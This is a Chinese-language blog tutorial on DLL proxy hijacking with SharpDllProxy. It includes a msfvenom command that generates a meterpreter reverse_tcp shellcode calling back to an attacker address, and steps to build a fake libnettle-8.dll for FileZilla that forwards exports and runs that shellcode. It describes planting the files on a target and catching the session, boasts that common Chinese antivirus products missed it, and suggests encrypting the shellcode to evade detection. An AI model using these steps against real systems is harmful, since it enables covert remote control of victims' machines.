如何进行DLL代理转发与weiquan分析

发布时间 - 2023-05-26 00:00:00    点击率:

dll劫持

再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。造成dll劫持的原因是因为并非所有的DLL都会被写入注册表中。

使用msfvenom生成的dll直接秒杀。

SharpDllProxy

听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2025/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.

前言

先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:

实验过程

目标程序

花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:

那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。

生成shellcode



msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124124.29 LPORT=4444 -f raw > shell.bin

实验开始

首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。

直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案

利用SharpDllProxy.dll创建一个伪造的libnettle-8.dll文件。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin

生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。

来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。

到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。在这里,我们通过VirtualAlloc内存操作将shellcode以二进制方式读入并执行。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。

使用 VS 编译上面的C文件。在文件菜单下选择新建,然后选择动态链接库项目,将项目命名为 libnettle-8。复制上面的C文件代码到VS中编译

将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。

使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。


# 动态链接库  # 加载  # 在这个  # 还可以  # 那就  # 注册表  # 创建一个  # 应用程序  # 大佬  # 都是 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: 深圳网站制作平台,深圳市做网站好的公司有哪些?  如何用PHP工具快速搭建高效网站?  Laravel如何实现API版本控制_Laravel API版本化路由设计策略  如何打造高效商业网站?建站目的决定转化率  C++时间戳转换成日期时间的步骤和示例代码  Laravel如何生成URL和重定向?(路由助手函数)  如何自定义safari浏览器工具栏?个性化设置safari浏览器界面教程【技巧】  专业型网站制作公司有哪些,我设计专业的,谁给推荐几个设计师兼职类的网站?  如何用西部建站助手快速创建专业网站?  谷歌浏览器如何更改浏览器主题 Google Chrome主题设置教程  大同网页,大同瑞慈医院官网?  laravel怎么用DB facade执行原生SQL查询_laravel DB facade原生SQL执行方法  作用域操作符会触发自动加载吗_php类自动加载机制与::调用【教程】  Laravel项目怎么部署到Linux_Laravel Nginx配置详解  微信小程序 配置文件详细介绍  JavaScript模板引擎Template.js使用详解  微信小程序 wx.uploadFile无法上传解决办法  如何在宝塔面板中创建新站点?  javascript日期怎么处理_如何格式化输出  Laravel Octane如何提升性能_使用Laravel Octane加速你的应用  移动端脚本框架Hammer.js  JS碰撞运动实现方法详解  如何在云虚拟主机上快速搭建个人网站?  Swift开发中switch语句值绑定模式  Laravel如何实现文件上传和存储?(本地与S3配置)  详解Android中Activity的四大启动模式实验简述  Laravel中间件起什么作用_Laravel Middleware请求生命周期与自定义详解  Laravel用户认证怎么做_Laravel Breeze脚手架快速实现登录注册功能  Laravel如何清理系统缓存命令_Laravel清除路由配置及视图缓存的方法【总结】  Python自动化办公教程_ExcelWordPDF批量处理案例  香港服务器部署网站为何提示未备案?  制作企业网站建设方案,怎样建设一个公司网站?  深圳防火门网站制作公司,深圳中天明防火门怎么编码?  手机钓鱼网站怎么制作视频,怎样拦截钓鱼网站。怎么办?  如何将凡科建站内容保存为本地文件?  如何在Windows环境下新建FTP站点并设置权限?  Laravel如何实现多级无限分类_Laravel递归模型关联与树状数据输出【方法】  Laravel如何实现图片防盗链功能_Laravel中间件验证Referer来源请求【方案】  香港服务器网站生成指南:免费资源整合与高速稳定配置方案  如何快速查询网站的真实建站时间?  Win11摄像头无法使用怎么办_Win11相机隐私权限开启教程【详解】  Laravel定时任务怎么设置_Laravel Crontab调度器配置  Laravel如何使用Guzzle调用外部接口_Laravel发起HTTP请求与JSON数据解析【详解】  活动邀请函制作网站有哪些,活动邀请函文案?  百度输入法ai组件怎么删除 百度输入法ai组件移除工具  深圳网站制作公司好吗,在深圳找工作哪个网站最好啊?  Laravel如何生成PDF或Excel文件_Laravel文档导出工具与使用教程  详解MySQL数据库的安装与密码配置  Laravel请求验证怎么写_Laravel Validator自定义表单验证规则教程  深圳网站制作的公司有哪些,dido官方网站?